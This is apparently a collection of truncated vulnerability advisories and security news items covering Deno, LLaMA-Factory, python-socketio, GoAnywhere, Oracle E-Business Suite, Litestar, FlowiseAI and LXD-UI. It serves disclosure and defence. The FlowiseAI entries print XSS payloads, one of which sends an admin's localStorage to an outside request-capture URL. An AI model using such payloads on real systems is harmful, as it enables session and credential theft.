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### Summary `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. ### PoC Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test.txt ``` ```js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --den...

## Summary ## A Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem. ## Details ## The vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or...

### Summary A remote code execution vulnerability in python-socketio versions prior to 5.14.0 allows attackers to execute arbitrary Python code through malicious pickle deserialization in multi-server deployments on which the attacker previously gained access to the message queue that the servers use for internal communications. ### Details When Socket.IO servers are configured to use a message queue backend such as Redis for inter-server communication, messages sent between the servers are encoded using the `pickle` Python module. When a server receives one of these messages through the message queue, it assumes it is trusted and immediately deserializes it. The vulnerability stems from deserialization of messages using Python's `pickle.loads()` function. Having previously obtained access to the message queue, the attacker can send a python-socketio server a crafted pickle payload that executes arbitrary code during deserialization via Python's `__reduce__` method. ### Impact This ...

Microsoft on Monday attributed a threat actor it tracks as Storm-1175 to the exploitation of a critical security flaw in Fortra GoAnywhere software to facilitate the deployment of Medusa ransomware. The vulnerability is CVE-2025-10035 (CVSS score: 10.0), a critical deserialization bug that could result in command injection without authentication. It was addressed in version 7.8.4, or the Sustain

CrowdStrike on Monday said it's attributing the exploitation of a recently disclosed security flaw in Oracle E-Business Suite with moderate confidence to a threat actor it tracks as Graceful Spider (aka Cl0p), and that the first known exploitation occurred on August 9, 2025. The exploitation involves the exploitation of CVE-2025-61882 (CVSS score: 9.8), a critical vulnerability that facilitates

While testing Litestar's RateLimitMiddleware, it was discovered that rate limits can be completely bypassed by manipulating the X-Forwarded-For header. This renders IP-based rate limiting ineffective against determined attackers. ## The Problem Litestar's RateLimitMiddleware uses `cache_key_from_request()` to generate cache keys for rate limiting. When an X-Forwarded-For header is present, the middleware trusts it unconditionally and uses its value as part of the client identifier. Since clients can set arbitrary X-Forwarded-For values, each different spoofed IP creates a separate rate limit bucket. An attacker can rotate through different header values to avoid hitting any single bucket's limit. Looking at the relevant code in `litestar/middleware/rate_limit.py` around [line 127](https://github.com/litestar-org/litestar/blob/26f20ac6c52de2b4bf81161f7560c8bb4af6f382/litestar/middleware/rate_limit.py#L127), there's no validation of proxy headers or configuration for trusted proxies....

### Summary User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. ### Details When creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure: ```json { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"] } ``` Behind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity): ```json { ...SNIP... "inputs":{ "mcpServerConfig":{ "command":"npx", "args":[ "-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files" ] } }, "loadMethod":"listActions" ...SNIP... } ``` Sending the same request with the para...

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click...

### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/js...

### Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted. However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary. Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible. ### Reproduc...